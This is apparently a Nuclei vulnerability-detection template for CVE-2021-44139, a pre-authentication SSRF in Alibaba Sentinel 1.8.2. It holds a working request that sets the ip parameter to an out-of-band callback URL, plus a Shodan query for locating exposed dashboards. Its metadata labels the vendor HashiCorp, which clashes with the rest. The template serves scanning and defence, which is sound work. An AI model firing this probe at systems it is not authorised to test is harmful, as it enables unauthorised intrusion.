51 lines
1.7 KiB
YAML
51 lines
1.7 KiB
YAML
id: CVE-2021-44139
|
|
|
|
info:
|
|
name: Alibaba Sentinel - Server-side request forgery (SSRF)
|
|
author: DhiyaneshDK
|
|
severity: high
|
|
description: |
|
|
There is a Pre-Auth SSRF vulnerability in Alibaba Sentinel version 1.8.2, which allows remote unauthenticated attackers to perform SSRF attacks via the /registry/machine endpoint through the ip parameter.
|
|
remediation: |
|
|
Apply the latest security patches or updates provided by Alibaba Sentinel to fix the SSRF vulnerability (CVE-2021-44139).
|
|
reference:
|
|
- https://github.com/alibaba/Sentinel/issues/2451
|
|
classification:
|
|
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
|
|
cvss-score: 7.5
|
|
cve-id: CVE-2021-44139
|
|
cwe-id: CWE-918
|
|
epss-score: 0.01329
|
|
epss-percentile: 0.84565
|
|
cpe: cpe:2.3:a:hashicorp:sentinel:1.8.2:*:*:*:*:*:*:*
|
|
metadata:
|
|
max-request: 1
|
|
vendor: hashicorp
|
|
product: sentinel
|
|
shodan-query: title:"Sentinel Dashboard"
|
|
tags: cve,cve2021,ssrf,alibaba,oast,misconfig,sentinel
|
|
|
|
http:
|
|
- method: GET
|
|
path:
|
|
- "{{BaseURL}}/registry/machine?app={{rand_base(5)}}&appType=0&version=0&hostname={{rand_base(5)}}&ip={{interactsh-url}}&port=0"
|
|
|
|
matchers-condition: and
|
|
matchers:
|
|
- type: word
|
|
part: interactsh_protocol # Confirms the DNS Interaction
|
|
words:
|
|
- "dns"
|
|
|
|
- type: word
|
|
part: header
|
|
words:
|
|
- application/json
|
|
|
|
- type: word
|
|
part: body
|
|
words:
|
|
- '"success":true'
|
|
- '"msg":"success"'
|
|
condition: and
|
|
# digest: 490a0046304402202e3ae396ddd143a0ea716700e16512b3ab4203ef2828a51d9e3a7b96259172d9022025f7bd255679f01d82f0d62ea1e565c560abce857b2e0b83cd42182c87efd87f:922c64590222798bb761d5b6d8e72950 |